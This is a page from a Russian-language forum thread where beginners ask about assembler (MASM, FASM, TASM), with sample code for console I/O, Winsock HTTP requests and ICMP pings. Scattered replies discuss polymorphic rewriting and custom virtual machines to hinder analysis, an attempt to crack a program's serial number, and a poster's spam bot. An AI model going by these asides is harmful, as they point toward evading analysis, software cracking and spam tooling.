PDA

Просмотр полной версии : [ASSEMBLER] Задаем вопросы (для новичков)


Страницы : 1 2 [3]

Chaak
15.03.2009, 22:28
досовская

aka_k4
15.03.2009, 22:34
а...

Кстати пож пиши в след раз синтаксис точнее...
А то я запарился tree c: >> file.txt набирать))
без касой не канало так как надо) tree C:\ >> file.txt)))

aka_k4
18.03.2009, 17:25
А Асм для микроконтроллеров тоже тут обсуждается?

slesh
18.03.2009, 17:37
2 aka_k4 Ты пиши, там с ориентируются глюди, главное указывай для какого контроллера, то на рзный контроллерах кодится чуть по разному.

Lee_fx
19.03.2009, 10:06
Доброго времени суток, такой вопрос:
Компилятор MASM, как записать в регистры 2 числа с консоли и как вывести на консоль содержимое регистра?

zeppe1in
19.03.2009, 19:02
Lee_fx как то так.
.486
.model flat, stdcall
option casemap :none



include \masm32\include\windows.inc
include \masm32\include\masm32.inc
include \masm32\include\kernel32.inc
include \masm32\macros\macros.asm

includelib \masm32\lib\masm32.lib
includelib \masm32\lib\kernel32.lib

.data?

szBuff db 12 dup (?)
Mult dd ?


.code

start:

mov eax, input("Enter number here ",62," ")

call Str2IntProc
nop
nop
nop
mov edx, offset szBuff
call Int2StrProc

print offset szBuff

invoke Sleep,2000d

exit

Int2StrProc proc uses esi edi
;eax = BinVal
;edx = Address of Buffer

mov edi, edx
mov ecx, 10
mov esi, offset szBuff+11

@@:
xor edx,edx
div ecx
or dl,30h
dec esi
mov [esi],dl
test eax, eax
jnz @B

mov ecx, offset szBuff+12
sub ecx, esi
rep movsb
mov eax, edi
dec eax
ret

Int2StrProc endp


Str2IntProc proc uses edi ebx
;eax=Pointer to null-terminated string

mov ecx, -1
mov edi, eax
xor eax, eax
repne scasb
not ecx
dec ecx
jz @@Exit
sub edi,2

xor ebx,ebx
mov Mult,1
@@1:
xor eax,eax
mov al, [edi]

and al, 0Fh

mul Mult
add ebx, eax

imul edx, Mult, 10
mov Mult, edx
dec edi
dec ecx
jnz @@1
mov eax,ebx
@@Exit:
ret

Str2IntProc endp


end start
при компиляции /SUBSYSTEM:CONSOLE

pauk_pv
09.04.2009, 15:26
Такой вопрос: как на gas компилить файлы не под линух, желательно под нон ос, то есть ни под какую операционную систему, какие ключи должны быть, и ещё часто попадаются упоминания о gas под windows/dos, но поиски ни к чему не привели, может кто знает где достать?

slesh
09.04.2009, 20:09
2 pauk_pv вообще любой компилятор может компилить в чистый бинарный код.
Вот и компиль так. Это типа налогия с COM файлами но тока не нужно делать org 100h

pauk_pv
12.04.2009, 16:50
2 slesh ну это мне понятно, но из ключей я пока знаю только -s и -o , а вся доступная документация которая мне попадалась только на английском , а я к сожалению английский не знаю, не могли подсказать ключи? И в силе вторая часть вопроса

slesh
13.04.2009, 09:47
загони документацию в переводчик. А если это сайт то прогони через гугль транслятор )

pauk_pv
13.04.2009, 13:38
2 slesh , спасиб, сам до такого простого способа и не смог додуматься, скоро выложу результат, вдруг кому понадобится. теперь остался только один вопрос - кто-нибудь знает о существовании gas под windows, под dos недавно попался, но он под защищенный dos - dpmi, и под виндой не работает, ищу gas под windows, или другой ассемблер с синтаксисом AT&T

razb
13.04.2009, 13:43
кто-нибудь знает о существовании gas под windows
Есть в пакете MinGW

messagedb
21.04.2009, 07:17
ничего не работает под ДОС, к примеру первая прога из книги Калашникова Ассемблер это просто, запускаю а она выводит каракули. В чем может быть проблема? Может с самим досом чото нужно делать...???

slesh
21.04.2009, 10:02
Если выводиш русский текст, то быдут каракули из-за кодировки.
Ты хотябы сначало код показалбы

messagedb
21.04.2009, 22:30
Ты хотябы сначало код показалбы


CSEG segment
org 100h

Begin:

mov ah,9
mov dx,offset Message
int 21h

int 20h

Message db 'Hello, world!&'

CSEG ends
end Begin

zeppe1in
21.04.2009, 23:00
messagedb, а нужно именно под дос? а то предлагаю забить на Калашникова и юзать Iczelion'а) http://wasm.ru/publist.php?list=1

messagedb
21.04.2009, 23:10
У Iczelion'a не от начала идет все, сразу с winapi. А мне нужно сначала) . Так нельзя с доськой чото зделать чтоб он заработал?

Balvan
22.04.2009, 11:24
:confused: Вот возникло 2 вопроса:
1) Возможно ли получить асм код программы через какой нить дизассемблер, а потом его подключить к своему коду например на VC? Как это (лучше)
делать?

2) Может есть у кого "готовый к применению" обфускатор асм кода?! поделитесь плиииз... :rolleyes:

-m0rgan-
22.04.2009, 15:31
Открывай прогу в дизассемблеере и смотри код, но там он не совсем как при написании, но с алгоритмом разобратся можно!

SmanxX1
22.04.2009, 15:51
1) Возможно ли получить асм код программы через какой нить дизассемблер, а потом его подключить к своему коду например на VC? Как это (лучше)
делать?
Можно вытащить всю секцию кода, вставить себе и юзоть. XD

Balvan
22.04.2009, 16:15
Открывай прогу в дизассемблеере и смотри код, но там он не совсем как при написании, но с алгоритмом разобратся можно!

Можно вытащить всю секцию кода, вставить себе и юзоть. XD

Мда, тупой я задал вопрос...
Если бы я не знал что так можно, то я бы не спрашивал)
Я просто думал может пару примерчиков кините, ну да ладно буду толстые книги читать! :)

А по 2ому "вопросу" есть что нибудь?! ;)

iv.
22.04.2009, 16:39
1) Возможно ли получить асм код программы через какой нить дизассемблер, а потом его подключить к своему коду например на VC? Как это (лучше)
делать?
"подключить" можно, только работать не будет =\
2) Может есть у кого "готовый к применению" обфускатор асм кода?! поделитесь плиииз...
зачем тебе обфускатор асм кода? чтобы самому не разобраться в своем коде?
а если для того, чтобы усложнить жизнь взломщику, то чем тебя не устраивают т.н. "протекторы"?

Balvan
22.04.2009, 16:58
"подключить" можно, только работать не будет =\

Хм... почему это!? :confused:
МОЖНО ПОДРОБНОСТИ!?!
зачем тебе обфускатор асм кода? чтобы самому не разобраться в своем коде?

хаха, Петросян отдыхает...
а если для того, чтобы усложнить жизнь взломщику, то чем тебя не устраивают т.н. "протекторы"? :eek: ого!
Спасибо за "новость" про протекторы :D , но я не просил альтернатив мне нужно ИМЕННО обфускатор кода!

iv.
22.04.2009, 17:07
Хм... почему это!?
МОЖНО ПОДРОБНОСТИ!?!
Прямые обращения к памяти практически гарантированно приведут к исключению.
но я не просил альтернатив мне нужно ИМЕННО обфускатор кода!
Зачем тебе обфускатор асм кода можно такой вопрос задать?

zeppe1in
22.04.2009, 18:42
У Iczelion'a не от начала идет все, сразу с winapi. А мне нужно сначала) .
А что там с начало то должнобыть, дос апи) чтоле? берёш справочник по вин апи и справочник по командам асма. и вперёд).

Balvan
22.04.2009, 18:45
>>> Прямые обращения к памяти практически гарантированно приведут к исключению.

Ок, спасибо!


>>>Зачем тебе обфускатор асм кода можно такой вопрос задать?

Чтобы ещё больше усложнить жизнь!!! почему бы не обфускатор + протектор?!?

з.ы. зачем столько вопросов, если всё равно не че не поможешь?!

zeppe1in
22.04.2009, 18:50
Balvan, за тем, что ты бред пишеш.

slesh
22.04.2009, 21:19
Обфускатор *ROFL* :-D
Обфускатор поможет тебе тока для запутывания себя, а в машинных кодах оно как было так и останется.
Тебе нужен Полиморфный двиг, который будет дизасембленные команды приводить к альтеративному виду типа
add eax,2 заменять на 2 раза inc eax итд итп. Но таких прог(котоыре полиморфят исходник) на сколько я помню нет и врядли будет.

А если еще хочешь усложнить жить, то пусть код через собственную вирт машину гоняется.

Balvan
22.04.2009, 23:49
>>Balvan, за тем, что ты бред пишеш.
ну не знал, не знал
не зря же я Balvan и раздел для новичков)))

slesh
>>Тебе нужен Полиморфный двиг, который будет дизасембленные команды приводить к альтеративному виду типа
add eax,2 заменять на 2 раза inc eax итд итп. Но таких прог(котоыре полиморфят исходник) на сколько я помню нет и врядли будет.

я вот типо этого и имел ввиду, спасибо! )

>>А если еще хочешь усложнить жить, то пусть код через собственную вирт машину гоняется.

Мммм... интересно... а есть что почитать по этой теме? )

zeppe1in
23.04.2009, 00:04
add eax,2 заменять на 2 раза inc eax итд итп. Но таких прог(котоыре полиморфят исходник) на сколько я помню нет и врядли будет.
Помню где то видел набор макросов, типо для замусоревания, чо то весь винт перерыл не найти. ну и так полиморфер исходника то сделать как нефиг, на какомнить перле. а потом ещо и заюзать кучу раз, прикольно наверно будет).

desTiny
23.04.2009, 21:14
"подключить" можно, только работать не будет =\
я б не был столь уверен.. есть код-рипперы, hex-rays, в конце концов), а можно, если надо немного кода, вообще вручную с релоками поиздеваться :P

заморачиваться действительно придётся что ой-ой-ой, но резко отрицать утверждение не стоит)

Balvan
25.04.2009, 11:54
Slesh
На счёт вирт машины есть что почитать по этой теме, ну или примеры какие нибудь? :)
Буду очень благодарен!

slesh
25.04.2009, 14:32
Если ты не можеш перевести проги с СИ на Delphi то смысла тебе лесть в это просто нет смысла. Лазей в разделе реверсинга и обращай внимания на старенький темы типа крякми.

newpdv
19.05.2009, 20:45
Попытался на низкоуровненовом доступе подобрать серийник к проге, но кроме получения кода процессора и test es,es ничего полезного не нашел.
Кто может помочь?

~Lexx~
19.05.2009, 20:49
Может кто нить подскажет... нужен asm линкер под *nix толковый.

razb
19.05.2009, 21:04
Может кто нить подскажет... нужен asm линкер под *nix толковый.
ld с пакета binutils

slesh
19.05.2009, 21:09
2 ~Lexx~ Или как вариант заюзать FASM который умеет компилить под никсы
2 newpdv
test es,es это идет сравнение регистра с нулем. (У тебя что досовская програмка?)
test es,es аналогично cmp es,0

mrVoodoo
25.05.2009, 22:51
Дайте ссылку, пожалуйста, на Turbo Debugger под Vista SP1 64-разряда..
http://s39.radikal.ru/i086/0905/4e/e0369f4dcc2f.jpg

заодно и под TASM и TLINK на 64-разрядную систему)

P.S. под DOS..

mrVoodoo
30.05.2009, 00:02
жаль.. ну тогда может подскажите как откомпилировать программу на асм по Дос в этой системе?

slesh
30.05.2009, 00:14
tasm prog.asm
tlink -t prog.obj
и будет тебе на выходе prog.com (если конечно это предусматривает сама прога, то может быть и exe)
Еще раз повторюсь, можешь заюзать FASM
он может компилить 16/32/64 битные ос. Win/nix

mrVoodoo
30.05.2009, 01:46
может я что-то не так делаю, но
http://s44.radikal.ru/i106/0905/3d/daa3b56e9042.jpg

diznt
31.05.2009, 00:52
Написал программный код в MASMbuilder
Код:

.386
.model flat,stdcall
.code
start:
mov eax, 2
add eax, 3
ret
end start

При компилировании пишет ошибку "Invalid stringlist index - 2"

И в начало кода добавляет следующию строку "mov wc.hbrBackground,COLOR_BTNFACE+1
"

Собственно почему ошибка, что я не так сделал? (я новичек просьба не ругаться)

[n]-c0der
31.05.2009, 02:59
format PE GUI 4.0
entry _start
section '.code' code readable executable import writeable
_start:
mov eax,5
add eax,4


FASM. =) переходи на него, он лучший.

0verbreaK
31.05.2009, 12:58
diznt Создай файл с расширением bat со следующим кодом и запусти его

;@echo off
;goto make


.386
.model flat,stdcall
option casemap: none
.code
start:
mov eax, 2
add eax, 3
ret
end start

:make

\masm32\bin\ml /c /Cp /coff proj1.bat
\masm32\bin\link /subsystem:windows proj1.obj

del proj1.obj

echo.
pause

diznt
31.05.2009, 17:58
diznt Создай файл с расширением bat со следующим кодом и запусти его

;@echo off
;goto make


.386
.model flat,stdcall
option casemap: none
.code
start:
mov eax, 2
add eax, 3
ret
end start

:make

\masm32\bin\ml /c /Cp /coff proj1.bat
\masm32\bin\link /subsystem:windows proj1.obj

del proj1.obj

echo.
pause



Создал, пишет это

Microsoft (R) Macro Assembler Version 6.14.8444
Copyright (C) Microsoft Corp 1981-1997. All rights reserved.

Assembling: proj1.bat
MASM : fatal error A1000: cannot open file : proj1.bat
Microsoft (R) Incremental Linker Version 5.12.8078
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

LINK : fatal error LNK1181: cannot open input file "proj1.obj"
Не удается найти D:\masm32\bin\proj1.obj

Для продолжения нажмите любую клавишу . . .

0verbreaK
01.06.2009, 00:32
Незнаю, из-за чего проблема, но может переустановка MASM'а, поможет или же перерегестрация переменных окружения

De2Z
05.06.2009, 00:40
Скорее пути неправильно настроены или не из того каталога компилируете

t1to
16.06.2009, 11:09
нубский вопрос по ассаблеру у меня masm32 как там компелировать код?

zeppe1in
16.06.2009, 13:26
MASM32\BIN\Ml.exe /c /coff test.asm
MASM32\BIN\Link.exe /SUBSYSTEM:WINDOWS test.obj
а вобще посмотри в примерах всякие батники для компиляции.

swt1
16.06.2009, 17:00
2 t1to click'z (http://wasm.ru/publist.php?list=1)

ещё мб вариант компиляции
bat.
если @echo off if exist %1.obj del %1.obj где 1.название сохряняемого файла,то попробуй сохранить именно под 1, т.к. изначально настройки батника идут такие.

zeppe1in,прав смотри батники для компл.

t1to
16.06.2009, 18:50
не понял .......................
вот у меня есть файл test.asm
мне надо чтобы он стал test.exe

KaZ@NoVa
16.06.2009, 19:08
не понял .......................
вот у меня есть файл test.asm
мне надо чтобы он стал test.exe
Кхм, а гугл на что? "masm32 как там компилировать код" > http://www.hack-info.ru/showthread.php?t=26661
Сам лично не юзал (либо слишком кратковременно). Из ассемблеров в основном работал в эмуляторе, юзал встроенный в С/Delphi, и недавно пришлось поюзать fasm. У него в комплекте относительно удобная средa разработки идёт. По крайней мере, кнопочка "Compile" там есть :) :D

oleandr
18.06.2009, 20:04
Люди( а мб и нелюди :) ) помогите с подготовкой к экзамену сижу уже третий день читаю книги выучил вродь все билеты, не могу разобратся с "плоской памятью" что за херь и с чем ее едят. только на пальцах а не компьтерным языком ) т.к что то очень замутно...

Gar|k
18.06.2009, 20:24
ну что что это просто придумали программисты
что у тебя не сектора разные типа сектор данных сектор кода
а все это расплющено в памяти на протяжении 4 гигабайт ) че хочешь и пихай все плоооско и пофиг как бы ))

но на самом деле это не так ))) (но это тебе знать не надо за это винда отвечает)

oleandr
18.06.2009, 20:33
ну что что это просто придумали программисты
что у тебя не сектора разные типа сектор данных сектор кода
а все это расплющено в памяти на протяжении 4 гигабайт ) че хочешь и пихай все плоооско и пофиг как бы ))

но на самом деле это не так ))) (но это тебе знать не надо за это винда отвечает)
во во да это то самое я к преподу подошел он говорит тима каждая прога считает что ей 4 памяти дают, на самом деле это нет так, вот надо сказать про эту фигню поподробнее))

KaZ@NoVa
18.06.2009, 21:34
Люди( а мб и нелюди :) ) помогите с подготовкой к экзамену сижу уже третий день читаю книги выучил вродь все билеты, не могу разобратся с "плоской памятью" что за херь и с чем ее едят. только на пальцах а не компьтерным языком ) т.к что то очень замутно...
В википедии есть определение. Также нашёл инфу по ссылке: http://mf.grsu.by/UchProc/livak/kursi/po/lections/le...
Там написано:
Если считать, что задача состоит из одного сегмента, который, в свою очередь, разбит на страницы, то фактически мы получаем только один страничный механизм работы с виртуальной памятью.

Это подход называется плоской памятью.

Чем оно отличается от страничной памяти - не ясно. Плоская память, это (наверное) - не сегментно-страничная. Т.к. сегментно-страничная трёхмерная: номер сегмента, номер страницы, смещение относительно начала страницы

oleandr
18.06.2009, 21:50
В википедии есть определение. Также нашёл инфу по ссылке: http://mf.grsu.by/UchProc/livak/kursi/po/lections/le...
Там написано:
Если считать, что задача состоит из одного сегмента, который, в свою очередь, разбит на страницы, то фактически мы получаем только один страничный механизм работы с виртуальной памятью.

Это подход называется плоской памятью.

Чем оно отличается от страничной памяти - не ясно. Плоская память, это (наверное) - не сегментно-страничная. Т.к. сегментно-страничная трёхмерная: номер сегмента, номер страницы, смещение относительно начала страницы
про эту страничную херь читал нихера не понял )) т.к незнаю даже что это за страничная фиготень)) вообще полнейшая опа :)

oleandr
18.06.2009, 21:57
а вот кстати еще вопросик, модификация адресов, тут про что рассказывать )) только щас заметил этот вопрос

KaZ@NoVa
19.06.2009, 16:32
про эту страничную херь читал нихера не понял )) т.к незнаю даже что это за страничная фиготень)) вообще полнейшая опа :)
С памятью всё доволно просто. Приведу аналогии с массивами:
Пускай у тебя есть линейный массив от 1 до n - это и будет линейная память.
Если массив двумерный - страничная или сегментная (физически они будут расположены всё-равно в одну строку, т.е. следовать друг за другом, однако адресация для программиста становится двумерной)
Трёхмерный - сегмент, страница, смещение.

KaZ@NoVa
19.06.2009, 16:44
а вот кстати еще вопросик, модификация адресов, тут про что рассказывать )) только щас заметил этот вопрос

хз :) сходу этот термин вспомнить не могу. Вероятно, относится к какой-то конкретной модели?
:rolleyes:

oleandr
19.06.2009, 19:49
спасибо за помощь :) незнаю как такой дуб как я сдал на 4, вообщем экзамен комплитед )) про модификацию надо было вообщем рассказать про "lea" и регистры модификаторы, ну еще что то я не стал уточнять :)

e4key
22.08.2009, 16:48
Привет всем. Изучаю асм (компилятор fasm), буду иногда задавать здесь ламерские вопросы :)

Итак 1 из них:

Допустим есть ip. Нужно его обработать функцией inet_addr:

invoke inet_addr, ip_addr

Как теперь результат поместить в другую переменную?

mov [ip], eax

не получается - компилятор говорит, что размеры приемника и источника не совпадают. как я понял в таких случаях переменную ip нужно задавать так:

ip dd ?

правильно?

e4key
22.08.2009, 17:16
Вопрос 2:

Спустя некоторое время программа вываливается с ошибкой 11010 (нехватка ресурсов). Собственно программа в бесконечном цикле посылает icmp-пакеты :)))


.sendicmp:
invoke IcmpSendEcho, [handle], [addr], 0, 0, 0, reply, 100, timeout
cmp eax, 0
je .error
invoke Sleep, sleep
jmp .sendicmp


константа sleep = 3000 (мс). может следует увеличить слип? до 10к? 15к? больше?

естественно в реальном проекте ошибка вываливаться не будет.

Еще кто работал с icmpsendecho: что не так? :) значение ReplySize я взял от "балды" :)

в msdn написано, что это должна быть сумма размеров структуры ICMP_ECHO_REPLY и поля RequestSize. Последний у меня равен нулю, а размер структуры - sizeof.ICMP_ECHO_REPLY. Или я не прав?

теперь еще 1 вопрос - как можно сделать авторестарт после завершения программы с ошибкой?

спасибо.

e4key
22.08.2009, 20:40
Еще раз привет всем:


format PE GUI 4.0
entry main

include 'win32a.inc'

section '.data' data readable writeable
ip db '127.0.0.1', 0
wdata WSADATA
saddr sockaddr_in AF_INET, 80, ip
sock dd ?
hello db 'GET http://localhost/hello.php HTTP/1.0', 10, 13
db 'Host: localhost', 0

section '.code' code readable executable
main:
invoke WSAStartup, 0101h, wdata
invoke socket, AF_INET, SOCK_STREAM, 6
mov [sock], eax
invoke connect, [sock], saddr, sizeof.sockaddr_in
invoke send, [sock], hello, 57, 0
invoke closesocket, [sock]
invoke ExitProcess, 0

section '.idata' import data readable
library kernel32, 'kernel32.dll',\
user32, 'user32.dll',\
wsock32, 'wsock32.dll'

include 'api\kernel32.inc'
include 'api\user32.inc'
include 'api\wsock32.inc'


В hello.php находится код чего-то, что напоминает счетчик посещений (при каждом обращении к странице прибавляет к значению счетчика еденицу).

Но почему то указанный код не работает :(

Еще раз заранее спасибо всем тем, кто ответит.

slesh
22.08.2009, 21:24
HTTP запросы должна заканчиваться 2-мя crlf
так что типа

hello db 'GET http://localhost/hello.php HTTP/1.0', 10, 13
db 'Host: localhost', 13,10,13,10,0
ну и соответственно перерасчитай длинну посылаемых данных в
invoke send, [sock], hello, 57, 0

лучше заюзай типа
invoke lstrlenA, hello
invoke send, [sock], hello, eax, 0

slesh
22.08.2009, 21:28
может чтото ты чтото напутал? Но код
mov [ip], eax
ip dd ?
спокойно компилится в FASM

slesh
22.08.2009, 21:33
насчет пинга вот код который я юзал -

; необходимые структуры
struct IP_OPTION_INFORMATION
Ttl db 0
Tos db 0
Flags db 0
OptionsSize db 0
OptionsData dd 0
ends

struct ICMP_ECHO_REPLY
Address dd 0
Status dd 0
RoundTripTime dd 0
DataSize dw 0
Reserved dw 0
Data dd 0
Options IP_OPTION_INFORMATION
PingBuf db 32 dup (0)
ends

struct TInAddr
b1 db 0
b2 db 0
b3 db 0
b4 db 0
ends

Optionss IP_OPTION_INFORMATION
InAddr TInAddr
Reply ICMP_ECHO_REPLY
PingBuf db 32 dup (0)

proc Ping InetAddress,ttl ; пингование передается адрес сервера и ТТЛ
invoke IcmpCreateFile ;
cmp eax,INVALID_HANDLE_VALUE ; если не удалось создать "ICMP файл"
je exitp
mov [handle],eax ;сохраним дискриптор
invoke gethostbyname,[InetAddress] ; попытка отпределяни IP адреса
cmp eax,0 ; если не удалось
je exitp ; то
mov eax,[eax+0ch] ; заполение необходимой струкуры
mov eax,[eax]
mov cl,[eax]
mov [InAddr.b1],cl
mov cl,[eax+1]
mov [InAddr.b2],cl
mov cl,[eax+2]
mov [InAddr.b3],cl
mov cl,[eax+3]
mov [InAddr.b4],cl

mov eax,PingBuf
mov [Reply.Data],eax
mov [Reply.DataSize],32
mov al,byte [ttl]
mov [Optionss.Ttl],al
mov eax,[InAddr]
invoke IcmpSendEcho,[handle],eax,PingBuf,32,Optionss,Reply,92,3000 ; пинг
cmp eax,0
je exitp
mov eax,1
ret
exitp:
xor eax,eax
ret
endp

e4key
22.08.2009, 22:57
slesh, спасибо огромное за ответы :)


HTTP запросы должна заканчиваться 2-мя crlf
так что типа

hello db 'GET http://localhost/hello.php HTTP/1.0', 10, 13
db 'Host: localhost', 13,10,13,10,0
ну и соответственно перерасчитай длинну посылаемых данных в
invoke send, [sock], hello, 57, 0

лучше заюзай типа
invoke lstrlenA, hello
invoke send, [sock], hello, eax, 0


Так всеравно не вышло :( Кстати собственно через lstrlen и было, только не отсылал и посчитал и поставил конкретное значение :)

при запуске данная программа просто висит в процессах, никаких пакетов, ничего не отсылвается. может лучше сделать через wininet?


может чтото ты чтото напутал? Но код
mov [ip], eax
ip dd ?
спокойно компилится в FASM


действительно :)

насчет icmp - он и этот код отлично пингует, но вываливается через некоторое время с ошибкой.

e4key
22.08.2009, 23:07
а что в твоем коде должно содержаться в PingBuf? или это просто пустой буфер в 32 байта?

slesh
22.08.2009, 23:27
PingBuf - это просто буфер для данных которые идут в нагрузку с пингом. В ответ должны приходить этиже данные для того чтобы проверить корректность работы.

насчет того что прога висит в процессах итд итп. то советую тебе поглядеть как ты реализовал заполнение addr для connect
погляди исходники моего спам бота - он в разделе избранное валяется вроде. написан полностью на FASM и там была функция для посылки HTTP запроса на сервак и корректное получение ответа.

e4key
23.08.2009, 10:47
спасибо :) сейчас получилось - изменил элементы sockaddr_in:

1. перед загрузкой элемента sin_port обработал его функцией htons
2. перед загрузкой элемента sin_addr обработал его функцией inet_addr

снифер пакеты отслеживает, но эффекта 0 :(

вот код на асме:


format PE GUI 4.0
entry main

include 'win32a.inc'

section '.data' data readable writeable
ip db '127.0.0.1', 0
wdata WSADATA
saddr sockaddr_in
sock dd ?
hello db 'GET http://localhost/hello.php HTTP/1.0', 13, 10
db 'Host: localhost', 13, 10, 13, 10, 0

section '.code' code readable executable
main:
invoke WSAStartup, 0101h, wdata
invoke socket, AF_INET, SOCK_STREAM, 6
mov [sock], eax
mov [saddr.sin_family], AF_INET
invoke htons, 80
mov [saddr.sin_port], ax
invoke inet_addr, ip
mov [saddr.sin_addr], eax
invoke connect, [sock], saddr, sizeof.sockaddr_in
invoke lstrlen
invoke send, [sock], hello, eax, 0
invoke closesocket, [sock]
invoke ExitProcess, 0

section '.idata' import data readable
library kernel32, 'kernel32.dll',\
user32, 'user32.dll',\
wsock32, 'wsock32.dll'

include 'api\kernel32.inc'
include 'api\user32.inc'
include 'api\wsock32.inc'


вот скрипт hello.php (в php не шарю :))

<?php
$handle = fopen("hello.txt", "a+");
$count = fread($handle, filesize("hello.txt"));
fclose($handle);
$count++;
$handle = fopen("hello.txt", "w");
fwrite($handle, $count);
fclose($handle);
echo $count;
?>


в итоге в файле hello.txt цифра должна при каждом обращении увеличиваться.

slesh
23.08.2009, 11:22
советую заюзать вот такой вот скрипт

<?
$handle = fopen('hello.txt', 'a+');
$count = intval(fgets($handle));
fclose($handle);
$count++;
$handle = fopen('hello.txt', 'w');
fputs($handle, $count);
fclose($handle);
echo $count;
?>

e4key
23.08.2009, 11:57
thx, но тут вроде не совсем от скрипта зависит :( это что-то с самой программой.

можно легко сделать на wininet, но хотелось попрактиковаться в winsock.

slesh
23.08.2009, 12:15
1) у тебя скрипт почемуто выдавал ошибку.
2) invoke lstrlen
А где параметры? забыл указать строку длинну которой считать

slesh
23.08.2009, 12:22
вот рабочий код.
Я тут внес некоторую оптимизацию )
Теперь размер 1024 байта после компила )


format PE GUI 4.0
entry main

include 'win32a.inc'

section '.text' data readable writeable executable import
;--------------- IMPORT -------------------
library kernel32, 'kernel32.dll',\
wsock32, 'wsock32.dll'
include 'api\kernel32.inc'
include 'api\wsock32.inc'
;--------------- CODE -------------------
main:
invoke WSAStartup, 0101h, wdata
invoke socket, AF_INET, SOCK_STREAM, 6
mov [sock], eax
mov [saddr.sin_family], AF_INET
invoke htons, 80
mov [saddr.sin_port], ax
invoke inet_addr, ip
mov [saddr.sin_addr], eax
invoke connect, [sock], saddr, sizeof.sockaddr_in
invoke lstrlen, hello
invoke send, [sock], hello, eax, 0
invoke closesocket, [sock]
invoke ExitProcess, 0
;--------------- DATA -------------------
ip db '127.0.0.1', 0
hello db 'GET http://localhost/hello.php HTTP/1.0', 13, 10
db 'Host: localhost', 13, 10, 13, 10, 0
wdata WSADATA
saddr sockaddr_in
sock dd ?

e4key
23.08.2009, 12:45
1) хм у меня вроде норм все было.
2) действительно))

собственно туплю :) поставил обработку ошибок и нашел ошибку 10061 после вызова функции connect. посмотерл - на локалхост не заходит хотя сервер запущен. кароче сменил сервер на vertrigo (был easyphp). все норм работает.

а почему у тебя в пинге ReplySize = 92? ведь размер структуры = 24 а буфера 32,

e4key
23.08.2009, 12:50
ого 1 кб! :) -2 секции - 1 кб :) ушел читать твою статью про оптимизацию прог. на fasm :) спасибо!

slesh
23.08.2009, 13:14
насчет 92 - это просто ошибка. когда переписывал.
потому как включил буфер ответа в саму структуру, но забыл вычесть размер.
ICMP_ECHO_REPLY - 28 байт + 32 буфер = 60 байт
60 + точно я забыл удрать +32 какраз и вышло 92 )
Да и код писал очень давно и криво, так что могут быть косяки всякие )

e4key
23.08.2009, 13:51
ну а в моем случае это будет размер ICMP_ECHO_REPLY + PingBuf = 24 + 32 = 56?
структуру IP_OPTION_INFORMATION я не использую.

но тогда после выполнения функции возвращается ошибка 11001.

может следует взять с запасом или я ошибся в расчетах?

e4key
23.08.2009, 22:44
ни у кого нет примера серверной программы с использованием winapi? хотелось бы простой примерчик, например, выводящий полученную от клиента команду в messagebox'e.

нашел немало такого, но не выходит перевести на асм :(

спасибо :)

e4key
24.08.2009, 10:40
Вот что-то написал, но увы не работает:


format PE GUI 4.0
entry main

include 'win32a.inc'

section '.data' data readable writeable
hello db 'hello', 0
error db 'Error: %d', 0
ip db '127.0.0.1', 0
wdata WSADATA
laddr sockaddr_in
caddr sockaddr_in
sock dd ?
csock dd ?
temp rb 15
bufer rb 1024

section '.code' code readable executable
main:
invoke WSAStartup, 0101h, wdata
invoke socket, AF_INET, SOCK_STREAM, 6
mov [sock], eax
mov [laddr.sin_family], AF_INET
invoke htons, 6112
mov [laddr.sin_port], ax
invoke inet_addr, ip
mov [laddr.sin_addr], eax
invoke bind, [sock], laddr, sizeof.sockaddr_in
cmp eax, 0
jne .error
invoke listen, [sock], 0

.while:
invoke accept, [sock], caddr, sizeof.sockaddr_in
mov [csock], eax
invoke recv, [csock], bufer, 1024, 0
invoke lstrcmp, bufer, hello
cmp eax, 0
jne .while
invoke MessageBox, 0, hello, hello, 0
jmp .while

.error:
invoke GetLastError
invoke wsprintf, temp, error, eax
invoke MessageBox, 0, temp, hello, MB_OK
invoke ExitProcess, 0

section '.idata' import data readable
library kernel32, 'kernel32.dll',\
user32, 'user32.dll',\
wsock32, 'wsock32.dll'

include 'api\kernel32.inc'
include 'api\user32.inc'
include 'api\wsock32.inc'

Gar|k
24.08.2009, 11:08
2 e4key TCP/IP клиент (http://zona-chat.narod.ru/client.cpp), сервер (http://zona-chat.narod.ru/server.cpp)

вот на fasm аналоги тех моих процедур recvall и sendall


; TCP/IP функции для правильной работы клиента

;отправить все
;ecx - len
;ebx - &buf
proc sendall
local total dd 0

.w:

cmp [total],ecx
jnl .exit
add ebx,[total]
sub ecx,[total]

invoke send,[sock],ebx,ecx,0
inc eax
jz .exit
dec eax
add [total],eax
jmp .w
.exit:
ret
endp

;принять все
;ecx - len
;ebx - &buf
proc recvall
local total dd 0

.w:

cmp [total],ecx
jnl .exit
add ebx,[total]
sub ecx,[total]

invoke recv,[sock],ebx,ecx,0
inc eax
jz .exit
dec eax
add [total],eax
jmp .w
.exit:
ret
endp


INFO
http://www.insidepro.com/kk/006/006r.shtml - очень советую по WinSock

maptime
26.08.2009, 01:17
Как у скомпилированного файла asm сделать свою иконку , если компилирую MASM32

slesh
26.08.2009, 09:15
А кто тебе не дает подключить ресурс в исходник на стадии программирования?
Или нет исхоника?
ПОпробуй воспользоваться прогами типа Resource WorkShop который идет с Delphi или любой другой редактор ресурса. Или тебе нужно программно добавить иконку?
Если программно то есть апишки для этого типа UpdateResource

Kaimi
26.08.2009, 09:28
Как у скомпилированного файла asm сделать свою иконку , если компилирую MASM32

В примерах масма же есть.
Создаешь например test.rc с текстом

#include "\masm32\include\resource.h"
500 ICON MOVEABLE PURE LOADONCALL DISCARDABLE "icon.ico"


Потом в консоле
rc /v test.rc
cvtres /machine:ix86 test.res

и во время линковки
link /SUBSYSTEM:WINDOWS obj_твоего_приложения.obj test.obj

maptime
26.08.2009, 11:56
Вот так компилирую.

ml /c /coff мой_код.asm
Link /SUBSYSTEM:WINDOWS мой_код.obj
pause


Хотелось бы добавить файл *.ico , подскажите плиз.

d_x
26.08.2009, 13:03
rc /v test.rc
ML /nologo -c -coff имя_асм_файла.asm
link /SUBSYSTEM:WINDOWS имя_асм_файла.obj test.res /FILEALIGN:512 /VERSION:4.0 /ignore:4078 /RELEASE /BASE:0x400000


Файл ресурсов test.rc - в сообщении Kaimi двумя постами выше.

ИНЖЕНЕР_13
05.09.2009, 13:09
люди вчера увидел компилятор асм фасм (взял этот потому что не соображаю пока в асме ) но времени пока что увы времени учить нету, нужен код ,а вернее полностью прога.. под хп... 32.
